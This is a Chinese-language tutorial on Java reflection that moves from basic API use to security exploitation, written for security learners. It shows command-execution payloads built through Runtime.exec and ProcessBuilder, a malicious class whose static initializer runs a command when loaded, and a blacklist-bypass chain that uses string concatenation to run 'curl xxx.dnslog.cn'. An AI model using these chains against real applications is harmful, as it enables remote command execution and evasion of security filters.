- 
参考文章: 
     文章目录
    
反射是大多数语言里都必不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。
 反射可以做到:
- 用对象获取他的类
- 用类拿到所有方法
- 拿到方法可以调用
一段代码,改变其中的变量量,将会导致这段代码产生功能性的变化,我称之为动态特性。
    
    
    一、基础知识
   
    
    
    1. 获取
    
     Class
    
    对象的方式
   
Class
    ——–>即 获取到
    
     java.lang.Class
    
    对象,简称类对象
   
- 
     
 Class.forName(“全类名”)
 
如果你知道某个类的名字,想获取到这个类,就可以使用 forName 来获取
- 类名.class
如果你已经加载了某个类,只是想获取到它的 java.lang.Class 对象,那么就直接
拿它的 class 属性即可。这个方法其实不属于反射。
- 对象.getClass()
如果上下文中存在某个类的实例例 obj ,那么我们可以直接通过obj.getClass() 来获取它的类
    
    
    2.
    
     Class
    
    对象功能 (略写)
   
Class
- 
获取成员变量: 
 
 getField
 
- 
获取构造方法: 
 
 getConstructor
 - 
        实例化类对象—
 
 newInstance
 
 
- 
        实例化类对象—
- 
获取成员方法: 
 
 getMethod
 - 
        执行方法—
 
 invoke
 
 
- 
        执行方法—
- 
获取全类名: 
 
 getName
 
| 《整理》 | 获取指定的 public | 获取所有public | 获取指定的(含私有) | 获取所有的(含私有) | 
|---|---|---|---|---|
| 成员变量 | getField(String name) | getFields() | getDeclaredField(String name) | getDeclaredFields() | 
| 构造方法 | getConstructor(…) | getConstructors() | getDeclaredConstructor(…) | getDeclaredConstructors() | 
| 成员方法 | getMethod(…) | getMethods() | getDeclaredMethod(…) | getDeclaredMethods() | 
    
    
    3. 关键函数介绍
   
    
    
    3.1 Class.forName
   
    
    
    3.1.1 forName两个函数重载
   
- 
     
 Class<?> forName(String name)
 
- 
     
 Class<?> forName(String name, boolean initialize, ClassLoader loader)
 
法1可以理解为法2的封装:
Class.forName(className);
// 等于
Class.forName(className, true, currentLoader);
参数解析:
    
     name
    
    : 类名
   
    
     initialize
    
    : 是否初始化
   
    
     loader
    
    : 类加载器
   
    加载器用来告诉Java虚拟机如何加载这个类,Java默认的ClassLoader就是根据类名来加载类,这个类名是类完整路径,如
    
     java.lang.Runtime
    
    。
   
    
    
    3.1.2 initialize参数——初始化
   
package com.mone.reflection;
import java.io.IOException;
public class TrainPrint {
    {
        System.out.printf("Empty block initial %s\n", this.getClass());
    }
    static {
        System.out.printf("Static initial %s\n", TrainPrint.class);
    }
    public TrainPrint() {
        System.out.printf("Initial %s\n", this.getClass());
    }
}
结果如下:
//****类初始化****
public static void main(String[] args) throws IOException, ClassNotFoundException {
    Class.forName("com.mone.reflection.TrainPrint");
}
/*  结果输出
    Static initial class com.mone.reflection.TrainPrint
 */
//****类实例化****
public static void main(String[] args) throws IOException, ClassNotFoundException {
    TrainPrint test= new TrainPrint();
}
/*  结果输出
    Static initial class com.mone.reflection.TrainPrint
    Empty block initial class com.mone.reflection.TrainPrint
    Initial class com.mone.reflection.TrainPrint
 */
    
     static {}
    
    是在类初始化时调用的,
    
     {}
    
    则会在构造函数的
    
     super{}
    
    后面,但在当前构造函数内容的前面。
   
- 
类初始化: 
 
 static {}
 
- 
类实例化: 
 
 static {} -> {} -> 构造函数
 
    所以,
    
     forName
    
    中的
    
     initialize
    
    其实是决定是否执⾏”类初始化”。
   
    另外,
    
     obj.getClass()
    
    和
    
     Class.forName()
    
    一样,获取Class对象时会导致”类属性”被初始化,而且只会执行一次。
   
    
    
    3.1.3 简单利用
   
    由于在使用
    
     forName()
    
    进行类初始化时,会执行
    
     static{}
    
    中的代码,我们可以这样利用。
   
假设存在这样一个函数,其中name可控:
public void ref(String className) throws Exception {
	Class.forName(className);
}
实验中,对代码进一步修改来模拟服务端执行过程:
package com.mone.reflection;
public class TestRef {
    public void ref(String name)throws Exception{
        Class.forName(name);
    }
    public static void main(String[] args) throws Exception {
        String className = "com.mone.reflection.TestCalc";
        TestRef testRef = new TestRef();
        testRef.ref(className);
    }
}
    攻击者可以编写一个恶意类,将恶意代码放在
    
     static {}
    
    ,从而执行:
   
import java.lang.Runtime;
import java.lang.Process;
public class TestCalc {
    static {
        try{
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}
     
   
实际情况中,如何将这个恶意类带入目标机器中,需要涉及到
ClassLoader
的一些利用方法。
    
    
    3.1.4 配合
    
     $
    
    调用内部类
   
$
在正常情况下,除了系统类,如果我们想拿到一个类,需要先
import
才能使用。而使用
forName
就不需要,这样对于我们的攻击者来说就十分有利,我们可以加载任意类。
    我们可以经常在一些源码里看到,类名的部分包含
    
     $
    
    符号,比如Fastjson在checkAutoType时就会先将
    
     $
    
    替换成
    
     .
    
    参考链接:
    
     fastjson/parser/ParserConfig.java#L1038
    
   
    
     $
    
    的作用是查找内部类:Java 的普通类
    
     C1
    
    中支持编写内部类
    
     C2
    
    ,而在编译的时候,会生成两个文件:
    
     C1.class
    
    和
    
     C1$C2.class
    
    ,通过
    
     Class.forName("C1$C2")
    
    即可加载这个内部类。
   
    
    
    3.2 getConstructor & newInstance
   
获取类以后,我们可以继续使用反射来获取这个类中的属性、方法,也可以实例化这个类,并调用方法。
通常需要先获取类的构造方法之后,使用newInstance()函数创建对象。
    
     如果使用空参数构造方法创建对象,操作可以简化:直接用Class对象的newInstance方法
    
   
首先我们来认识一下通过类能获取构造方法的函数:
/**
*获取构造方法的函数
*Constructor<T> getConstructor(类<?>... parameterTypes)
*Constructor<?>[] getConstructors()  
*
*Constructor<T> getDeclaredConstructor(类<?>... parameterTypes)
*Constructor<?>[] getDeclaredConstructors()  
*/
这些函数可以分成两类,第一类是仅可获取public的构造方法,第二类(含”Declared”关键词)是可获取所有的构造方法。同时每一类中又可以分为可获取指定的和获取全部的(函数后面带”s”)
getConstructor() ===》得到指定的public构造方法
getConstructors() ===》得到所有的public构造方法
getDeclaredConstructor() ===》得到指定的公/私有构造方法
getDeclaredConstructors()===》得到所有的公/私有构造方法
    
    
    getConstructor(s)
   
 现假设存在Person类,类结构如下:
public class Person {
    private String name;
    private Integer age;
    //无参构造函数
    public Person() {
    }
    //单个参数的构造函数,且为私有
    private Person(String name){
    }
    //有参构造函数
    public Person(String name, Integer age){
        this.name = name;
        this.age = age;
    }
}
 不同方法获取构造函数和实例化结果如下:
- getConstructors获取所有构造函数
    Class clazz = Person.class;
    //Constructor<?>[] getConstructors()
    Constructor[] cs1 = clazz.getConstructors();
    for(Constructor cs : cs1){  
        System.out.println(cs);
    }
     
   
- 
     getConstructor获取有参的构造函数,接收的参数是构造函数的
 
 参数类型列表
 
 。获取到构造函数后,使用
 
 newInstance
 
 来进行实例化
	Class clazz = Person.class;	
	//获取构造函数
	//public Person(String name, Integer age) 参数类型顺序要与构造函数内一致
    Constructor cs2 = clazz.getConstructor(String.class,Integer.class);
    System.out.println("constructor2 = " + cs2);
   
	//创建对象
	//Constructor类内提供了初始化方法newInstance();方法
    Object person2 = cs2.newInstance("张三", 23);   //获取的是有参的构造方法,就必须要给参数
    System.out.println(person2);
     
   
- 
     getConstructor获取无参构造函数,使用
 
 newInstance
 
 来进行实例化
    Class clazz = Person.class;
	
	//获取构造函数
	//注意:若要获取无参构造函数,要确保Person类中有无参的构造函数,不然抛出异常
    Constructor cs3 = clazz.getConstructor();
    System.out.println("constructor1 = " + cs3);
    
	//创建对象
    Object person1 = cs3.newInstance();
    System.out.println("person1 = " + person1);
     
   
- **(重点)**对于一般的无参构造函数,我们都不会先获取无参构造器之后在进行初始化。而是直接调用Class类内的newInstance()方法
	Class clazz = Person.class;
    Object person3 = clazz.newInstance();
    System.out.println("person3 = " + person3);
     
   
    Class.forName(“”).newInstance 本质上就是调用了类内的无参构造函数来完成实例化的
    
    故可以得出结论 我们以后在使用 Class.forName(“”).newInstance; 反射创建对象时,一定要保证类内有无参构造函数
   
    
    
    getDeclaredConstructor(s)
   
     对于多出个Declared关键词的两个方法,与不带这个词的两个方法的对比。如上描述,getDeclaredConstructor方法可以获取到任何访问权限的构造器,而getConstructor方法只能获取public修饰的构造器。如何获取私有的构造函数,在构造器的对象内也有
    
     setAccessible(true);
    
    方法,将其设置成true即可,即获得构造器对象cs之后,加上
    
     cs.setAccessible(true);
    
    。
   
    
    
    单例模式
   
 关于为什么要项目要使用private访问权限的构造器,使用这个构造器不就不能外部访问了嘛,不也就无法进行实例化对象了吗?无法在类的外部实例化对象正是私有构造器的意义所在,在单例模式下经常使用,整个项目只有一个对象,外部无法实例化对象,可以在类内的进行实例化并通过静态方法返回(由于实例化的对象是静态的,故只有一个对象,也就是单例的)。网上说这就是单例模式中的饿汉模式,不管是否调用,都创建一个对象,例子如下。
class SingletonDemo{
    	//私有化构造方法
    	private SingletonDemo(){
         
     }
    	//创建一个对象  类内实例化(静态的对象)
    	private static SingletonDemo singleton = new SingletonDemo();
     
    //提供public方法供外部访问,返回这个创建的对象
    public static SingletonDemo getInstance(){
    	return singleton;
    }
}
public class Singleton {
	public static void main(String[] args) {
		SingletonDemo s1 = SingletonDemo.getInstance();
		//输出对象的地址,如果有地址存在,则说明对象创建成功并获取到
		System.out.println(s1);
  
        SingletonDemo s2 = SingletonDemo.getInstance();
		//如果结果为true,则说明是同一个对象
		System.out.println(s1==s2);    //输出结果为true
	}
}
    
    
    3.3 getMethod & invoke
   
得到了类对象,如何获取它的成员方法并执行执行需要利用到getMethod系列函数和invoke函数。
获取类对象的成员方法的函数有:
/**
*获取方法的函数
*Method getMethod(String name, 类... parameterTypes)
*Method[] getMethods() 
*
*Method getDeclaredMethod(String name, 类... parameterTypes)
*Method[] getDeclaredMethods()  
*/
和getConstuctor系列的函数一样,分有访问公有的、公私有的,也分为可获取指定的、获取所有的,函数名规则和前者一样,此处不再列举。
    
    
    invoke
   
    
     invoke()
    
    属于
    
     Method
    
    类,作用是对方法进行调用
   
- 如果执行的是普通方法,那么第一个参数是类的实例
- 如果执行的是静态方法,那么第一个参数可以是类的Class对象,也可以是是类的实例
即:传入类Class对象只能调用静态方法,传类的实例可以调用所有方法。
    正常执行方法是
    
     [1].method([2], [3], [4]...)
    
    ,在反射里就是
    
     method.invoke([1], [2], [3], [4]...)
    
    
    
    getMethod
   
- 
 getMethod()
 
 ,作用是通过反射获取Class对象的指定公有方法,调用
 
 getMethod()
 
 时需要根据获取的方法传递对应的
 
 参数类型列表
 
 。
- 
例如需要调用 
 
 Runtime.exec()
 
 方法,该方法有6个重载,以第一个为例:
 
 exec(String command)
 
 ,那么就需要传递一个
 
 String
 
 类的类对象
getMethod("exec", String.class)
这里延申记录一下getMethod的其他执行情况:
假设person类的eat方法有3个重载:
     
   
- 获取指定名称的方法getMethod()
	Class clazz = Person.class;
	//情况1.获取无参的eat()方法    
    Method eat_m1 = clazz.getMethod("eat");
    //用invoke执行方法
    Person person = new Person();
    Object rtValue = eat_method1.invoke(person);//如果方法有返回值类型可以获取到,没有就为null
    //输出返回值 eat()方法没有返回值,故输出null
	//情况2.获取有参的eat()方法
	Method eat_method2 = personClass.getMethod("eat", String.class);
	Method eat_method3 = personClass.getMethod("eat", String.class, String.class);
    //执行方法
    eat_method2.invoke(person,"饭");
	eat_method3.invoke(person,"饭","水果");
     
   
- 获取方法列表getMethods()
Method[] methods = personClass.getMethods();
    for(Method method : methods){     //注意:获取到的方法名称不仅仅是我们在Person类内看到的方法
        System.out.println(method);   //继承下来的方法也会被获取到(当然前提是public修饰的)
     
   
我们可以看出还打印了Object类内的方法,所以Person的父类内的public修饰的方法也可以获取到。
- 关于获取成员方法们的另外两个方法
Method[] getDeclaredMethods()  
Method getDeclaredMethod(String name, 类<?>... parameterTypes)
method.setAccessible(true);   //暴力反射
     同之前的叙述一样,带有Declared关键字的方法这两个方法,可以获取到任意修饰符的方法。同样的提供了
    
     setAccessible(true);
    
    方法行暴力反射。
   
综上说述:对于反射机制来说,在反射面前没有公有私有,都可以通过暴力反射解决。
    
    
    getName
   
getName()方法获取的方法名仅仅就是方法名(不带全类名),且不带有参数列表。
@Test
public void reflect6() throws NoSuchMethodException {
    Class personClass = Person.class;
    Method[] methods = personClass.getMethods();
    for(Method method : methods){
        System.out.println(method);
        //获取方法名
        String name = method.getName();  
        System.out.println(name);   
    }
}
     
   
    
    
    二、Java安全利用
   
    
    
    1. Class.newInstance调用失败
   
    由上所述我们知道,
    
     class.newInstance()
    
    是Java反射框架中
    
     类对象
    
    创建新的实例化对象的方法。能直接调用这个类的无参构造函数,用于创建对象。
   
    但在实际写payload调用
    
     newInstance
    
    不成功时,原因可能是:
   
- 使用的类没有无参构造函数
- 使用的类构造函数是私有的
    
    
    2. 调用私有的类构造方法
   
    最常见的情况就是
    
     java.lang.Runtime
    
    ,这个类在构造命令执行Payload时经常用到,但不能直接这样来执行命令:
   
package com.mone.reflection;
public class TestNewInstance {
    public static void main(String[] args) throws Exception{
        Class clazz = Class.forName("java.lang.Runtime");
        clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "calc");
    }
}
报错:
     
   
    原因是
    
     java.lang.Runtime
    
    这个类的构造方法是私有的,这里涉及到
    
     单例模式
    
    的设计思想
   
    //Runtime类:
	private Runtime() {}  //构造方法私有,不能在外部实例化
    //在该类被初始化时会在内部创建一个静态的本类的对象
    private static Runtime currentRuntime = new Runtime();
    //静态工厂方法,可以用类来调用,返回本类的对象,在外部可能接收该对象
    //因为Runtime 类本身的构造方法是私有化的,如果想取得一个 Runtime 实例,则只能通过:`Runtime run = Runtime.getRuntime();`
    public static Runtime getRuntime() {   //注意它是静态方法
        return currentRuntime;
    }
- 比如Web应用中的数据库链接,通常只需要链接一次。此时可以将数据库链接所使用的类的构造函数设为私有,这样只有在类初始化时才会执行一次构造函数,然后通过编写一个静态方法来获取这个数据库对象。
    这里
    
     Runtime
    
    类也使用了单例模式,因此只能通过
    
     Runtime.getRuntime()
    
    来获取
    
     Runtime
    
    对象。所以需要修改为:
   
package com.mone.reflection;
public class TestNewInstance {
    public static void main(String[] args) throws Exception{
        Class clazz = Class.forName("java.lang.Runtime");
        clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc");
    }
}
将该payload分解理解:
	Class clazz = Class.forName("java.lang.Runtime");
    Method execMethod = clazz.getMethod("exec", String.class);
    Method getRuntimeMethod = clazz.getMethod("getRuntime");
    Object runtime = getRuntimeMethod.invoke(clazz);
    execMethod.invoke(runtime,"open /System/Applications/Calculator.app");
这里有两个问题:
- 如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,怎样通过反射实例化该类?
- 如果一个方法或构造方法是私有方法,是否能够通过反射执行?
    
    
    3. 用反射替代强制类型转换
   
    第一个问题,我们需要用到
    
     getConstructor
    
    。
   
    
     class.getConstructor()
    
    作用是获取构造函数对象,接收的参数是构造函数的
    
     参数类型列表
    
    。获取到构造函数后,使用
    
     newInstance
    
    来进行实例化
   
    以
    
     ProcessBuilder
    
    类为例,它和
    
     Runtime
    
    一样也是一种执行命令的方式,该类有两个构造函数:
   
- 
     
 public ProcessBuilder(List<String> command)
 
- 
     
 public ProcessBuilder(String... command)
 
    第一种构造函数,需要传入
    
     List.class
    
    类对象。先通过反射来获取其构造函数,再调用
    
     start()
    
    方法执行命令:
   
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc"))).start();
    
这个Payload用到了强制类型转换,实际情况下利用漏洞的时候(在表达式上下文中)没有这种语法,所以需要利用反射来完成这一步:
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc")));
    这里通过
    
     getMethod("start")
    
    获取到start方法,然后
    
     invoke
    
    执行,
    
     invoke
    
    的第一个参数就是
    
     ProcessBuilder
    
    类对象
   
    
    
    4. 可变长参数
   
对于可变长参数,Java在编译的时候会把它编译成一个数组,即:
public void hello(String...names) {}
//在底层写法是等价的
public void hello(String[] names) {}
所以我们使用时中可以直接传数组:
String[] names = {"hello", "world"};
hello(names);
因此,在反射的过程中,遇到目标函数里包含可变长参数,就把它看作为数组即可。
    
     ProcessBuilder
    
    类的第二种构造函数
    
     public ProcessBuilder(String... command)
    
    ,这里(String… command)表示这个函数的参数个数是可变的,是可变长参数,我们用字符串数组的类
    
     String[].class
    
    传给getConstructor,获取ProcessBuilder的第二种构造函数:
   
Class clazz = Class.forName("java.lang.ProcessBuilder");
constructor pb_cs = clazz.getConstructor(String[].class);
    在调用
    
     newInstance
    
    的时候,因为这个函数本身接收的是一个可变长参数,
    
     ProcessBuilder
    
    所接收的也是一个可变长参数,二者叠加为一个二维数组,所以整个Payload如下:
   
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();
这里前面还用了强制类型转换,改成完全反射编写:
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));
    
    
    5. 用反射获取私有构造方法
   
如果一个方法或构造方法是私有方法,是否能够通过反射执行?
 可以。我们可以使用getDeclared系列的反射,具体方式见上文。它能够获取当前类中“声明”的方法/构造方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了。
- 
     以
 
 java.lang.Runtime
 
 类为例,前文说到这个类的构造方法是私有的,使用了
 
 getMethod()
 
 和
 
 invoke()
 
 函数联合的方法(详见小节【Class.newInstance调用失败】)。这里可以直接调用
 
 getDeclaredConstructor()
 
 来获取这个私有的构造方法来实例化对象,从而执行命令。
- 
     需要注意的是,获取私有方法后需要用
 
 setAccessible()
 
 修改其作用域,否则仍然不能调用。
package com.mone.reflection;
import java.lang.reflect.Constructor;
public class TestDeclared {
    public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("java.lang.Runtime");
        Constructor cs = clazz.getDeclaredConstructor();
        cs.setAccessible(true);
        clazz.getMethod("exec", String.class).invoke(cs.newInstance(), "calc");
    }
}
    
    
    6. 沙盒绕过
   
在安全研究中,我们使用反射的一大目的,就是绕过某些沙盒。比如,上下文中如果只有Integer类型的数字,我们如何获取到可以执行命令的Runtime类呢?也许可以这样(伪代码):
1.getClass().forName("java.lang.Runtime")
Code-Breaking 2018中某道题的第三方Writup:http://rui0.cn/archives/1015
在JAVA中我们可以通过下面代码来执行命令:
Runtime.getRuntime().exec("curl xxx.dnslog.cn")
由于有黑名单,使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果。
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl xxx.dnslog.cn");
整理分析:
String.class.getClass()            // 获取 Class 对象
.forName("java.lang.Runtime")      // 获取 Runtime 对象
.getMethod("exec", String.class)   // 获取 exec 方法
.invoke(                           // 反射调用 exec 方法  (0)
    String.class.getClass()        // 同上,获取并调用 getRuntime 方法
    .forName("java.lang.Runtime")
    .getMethod("getRuntime")	   //(1)
    .invoke(                       // 同上,获取 Runtime 对象
        String.class.getClass()    //(2)
    .forName("java.lang.Runtime")
    ), 
  "curl xxx.dnslog.cn"             // exec 方法参数
);
    (0)invoke调用exec方法,第一参数是应是
    
     Runtime
    
    对象,第二个参数是要执行的命令即”curl xxx.dnslog.cn”。
   
(1)要获取Runtime对象,则要获取并调用getRuntime方法
(2)getRuntime()是无参的静态方法,所以第一个参数是Runtime类的Class对象
    
    
    三、疑点与发现
   
    
    
    int和Integer
   
做实验的时候发现一件事
     
   
一开始我还很疑惑为啥俩结果不一样,是我基础太差了哈,c4那个应该写成Interger.class 。 Integer是int的包装类;int是基本数据类型。
but,我又觉得奇怪,int既然是数据类型为啥也有Class对象。
Baidu结果:
 有9个预先定义好的Class对象代表8个基本类型和void,它们被java虚拟机创建,和基本类型有相同的名字Boolean, byte, char, short, int, long, float, and double.
这8个基本类型的Class对象可以通过java.lang.Boolean.TYPE, java.lang.Integer.TYPE等来访问,同样可以通过int.class, boolean.class等来访问. int.class与Integer.TYPE是等价的,但是与Integer.class是不相等的,int.class指的是int的Class对象,Integer.class是Integer的Class的类对象.
    
    
    new和newInstance
   
在学习通过用反射来代替强制类型转换的时候想的一个问题
     
   
    这里之所以要强制类型是因为前面那一堆newInstace出来的对象属于Object类,而start()方法的使用在ProcessBuilder上的,
    
     ProcessBuilder pb = new ProcessBuilder(list);
    
    
     pb.start();
    
    所以需要强制类型转换???
   
实验中,不加强制类型转换,显示start()前面的东西是 java.lang.Object 类?对象?
     
   
加了强制类型转换,故意报错得到信息:显示start()前面的东西是 java.lang.ProcessBuilder 类?对象?
     
   
实例化PB成pb1,并且调用错误方法引发报错,得到信息:pb1是一个类型为PB的变量???
     
   
通过Baidu,得到了答案:
首先,反射机制创建的实例是不能直接获取方法的,就是newInstance出来的对象不能直接调用它的方法,如:
Person.class.getConstructor().newInstance().eat();
是不可以的,如果非要这么写就得强制类型转换: (还得注意是这个类要有无参的构造方法)
((Person)Person.class.getConstructor().newInstance()).eat();
要强制类型转换的原因是:
- 因为得到person是Object类型的,不知道具体属于哪个类型,所以里面的方法和属性也是未知的。
- 反射是框架设计的灵魂,什么是框架呢?就是一个半成品的软件,我们在框架的基础上进行开发去简化编码。当选择使用反射的时候,那就说明这是通用模版,所需要的类,方法名,参数都是未知的,需要传过来的。
    然后是
    
     new
    
    和
    
     newInstance()
    
    的区别:
   
在调用空参构造器的时候new和newInstance() 的效果是一样的,所以new出来的也是对象而不是变量啦!(差点怀疑人生)
- 
 new
 
 是关键字,我们可以任意调用构造函数来创建对象实例;若对应类的class文件未加载,则加载对应的class文件,进行类的链接、初始化操作。
- 
 newInstance()
 
 是方法,返回Object类型,创建对应的运行时类的对象。内部调用了运行时类的空参的构造器。
    
     newInstance()是实现IOC、反射、面对接口编程 和 依赖倒置 等技术方法的必然选择,new 只能实现具体类的实例化,不适合于接口编程
    
   
参考文章:
https://blog.csdn.net/lvzhi0588/article/details/103314788
https://blog.csdn.net/Ray327_/article/details/124901644
 
